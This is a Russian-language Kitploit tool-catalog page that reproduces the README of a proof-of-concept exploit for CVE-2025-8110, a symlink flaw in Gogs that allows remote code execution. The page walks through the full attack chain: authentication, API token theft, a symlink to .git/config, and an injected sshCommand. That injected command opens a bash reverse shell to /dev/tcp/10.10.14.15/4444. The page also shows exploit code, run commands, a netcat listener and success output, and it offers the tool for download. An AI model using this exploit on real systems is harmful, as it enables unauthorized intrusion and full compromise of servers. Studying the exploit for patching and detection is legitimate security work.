Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-8110 — PoC-эксплойт для CVE-2025-8110 | Kitploit
Инструменты/GitHubGitHub/joaquinrrr/cve-2025-8110
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеИнструмент Удаленного Доступа
GitHubjoaquinrrr/cve-2025-8110

CVE-2025-8110

PoC-эксплойт для CVE-2025-8110

Репозиторий
5103 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-8110

Удалённое выполнение кода через симлинк в репозитории Gogs

Создано oguiii


Содержание

  • Обзор
  • Возможности
  • Требования
  • Установка
  • Использование
  • Схема работы эксплойта
  • Технический анализ
  • Демонстрация Proof of Concept
  • Затронутые версии
  • Меры по устранению
  • Обнаружение
  • Отказ от ответственности
  • Лицензия

Обзор

CVE-2025-8110 — критическая уязвимость в Gogs, которая позволяет аутентифицированным злоумышленникам добиться удалённого выполнения кода через манипуляцию симлинками в репозиториях. Данный proof of concept демонстрирует полную цепочку эксплуатации — от аутентификации до получения reverse shell.

Уязвимость существует из-за того, что Gogs переходит по симлинкам при обработке файлов репозитория через свой API, что позволяет злоумышленнику читать и изменять чувствительные файлы, например .git/config. Внедряя вредоносную директиву sshCommand, можно выполнять произвольные системные команды с привилегиями учётной записи службы Gogs.

Оценка CVSS: 7.2 (Высокая)
Вектор атаки: Сетевой
Требуется аутентификация: Да
Взаимодействие с пользователем: Нет
Влияние: Полная компрометация системы


Возможности

  • Автоматическое извлечение CSRF-токена с несколькими резервными методами
  • Управление сессиями и обработка аутентификации
  • Автоматическое создание репозитория с настраиваемыми параметрами
  • Схема эксплуатации на основе симлинков
  • Генерация полезной нагрузки reverse shell
  • Поддержка прокси для отладки и анализа
  • Подробное логирование и обработка ошибок
  • Цветной вывод в консоль для улучшения читаемости
  • Подробный режим (verbose) для диагностики

Требования

Системные требования

  • Python 3.6 или выше
  • Установленный Git, доступный через PATH
  • Сетевой доступ к целевой инстанции Gogs

Зависимости Python

requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0

Установка

Клонирование и настройка

git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt

Структура проекта

CVE-2025-8110/
├── CVE-2025-8110.py    # Main exploit script
├── requirements.txt    # Python dependencies
└── README.md          # Documentation

Использование

Параметры командной строки

ОпцияОписаниеОбязательный
-u, --urlБазовый URL Gogs (например, https://gogs.example.com)Да
-lh, --hostIP-адрес атакующего для reverse shellДа
-lp, --portПорт атакующего для reverse shellДа
-U, --usernameИмя пользователя GogsДа
-P, --passwordПароль GogsДа
-x, --proxyВключить прокси (localhost:8080)Нет
-v, --verboseВключить подробный выводНет

Базовое использование

python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123

С прокси для отладки

python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x

Подробный режим для диагностики

python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v

Схема работы эксплойта

┌─────────────────────────────────────────────────────────────────────────────┐
│                    CVE-2025-8110 Exploitation Chain                        │
└─────────────────────────────────────────────────────────────────────────────┘

Step 1: Authentication
├── Navigate to /user/login
├── Extract CSRF token from login page
├── Submit credentials with CSRF token
└── Establish authenticated session

Step 2: Application Token Generation
├── Navigate to /user/settings/applications
├── Extract CSRF token from settings page
├── Generate new application token
└── Extract token from response

Step 3: Malicious Repository Creation
├── Create repository via API with auto_init
├── Generate random repository name
└── Obtain repository URL

Step 4: Symlink Upload
├── Clone repository locally
├── Create symlink pointing to .git/config
├── Add, commit, and push changes
└── Verify successful upload

Step 5: RCE Exploitation
├── Craft malicious .git/config with sshCommand
├── Base64 encode configuration content
├── Upload via API to symlink target
└── Trigger command execution

Step 6: Reverse Shell
├── Connection established to attacker host
├── Interactive shell access
└── Command execution on target

Технический анализ

Первопричина уязвимости

Gogs не выполняет надлежащую санитизацию обхода симлинков при обработке файлов репозитория через свой API. Когда к файлу обращаются через конечную точку API, Gogs переходит по симлинкам без проверки, что позволяет получить доступ к чувствительным файлам за пределами каталога репозитория.

Детали вектора атаки

  1. Создание симлинка

    ln -s .git/config malicious_link
    git add malicious_link
    git commit -m "Add symlink"
    git push origin master
    
  2. Вредоносная конфигурация

    [core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
        sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
    
  3. Эксплуатация через API

    PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
    Authorization: token {application_token}
    {
      "message": "Exploit CVE-2025-8110",
      "content": "base64_encoded_config"
    }
    

Анализ кода

Извлечение CSRF-токена

def extract_csrf(html_text):
    """Parse CSRF token from hidden input with multiple fallback methods."""
    # Method 1: Input with name _csrf
    soup = BeautifulSoup(html_text, "html.parser")
    token_input = soup.select_one("input[name='_csrf']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # Method 2: Input with name csrf_token
    token_input = soup.select_one("input[name='csrf_token']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # Method 3: Meta tag with CSRF
    meta_tag = soup.find("meta", {"name": "_csrf"})
    if meta_tag and meta_tag.get("content"):
        return meta_tag.get("content")
    
    # Method 4: Regex pattern in script tags
    pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
    match = re.search(pattern, html_text)
    if match:
        return match.group(1)
    
    # Method 5: Regex for hidden input
    pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
    match = re.search(pattern, html_text, re.IGNORECASE)
    if match:
        return match.group(1)
    
    raise ValueError("CSRF token not found in form response")

Внедрение вредоносной конфигурации

git_config = f"""[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
  sshCommand = {command}
[remote "origin"]
        url = git@localhost:gogs/{repo_name}.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
        remote = origin
        merge = refs/heads/master
"""

Демонстрация Proof of Concept

Настройка атаки

# Attacker machine (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)

# Execute exploit
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123

Вывод при успешной эксплуатации

[INFO] Starting CVE-2025-8110 exploit
[INFO] Target URL: https://gogs.internal.local
[INFO] Attacker host: 10.10.14.15:4444
[INFO] Username: admin
Скачать инструмент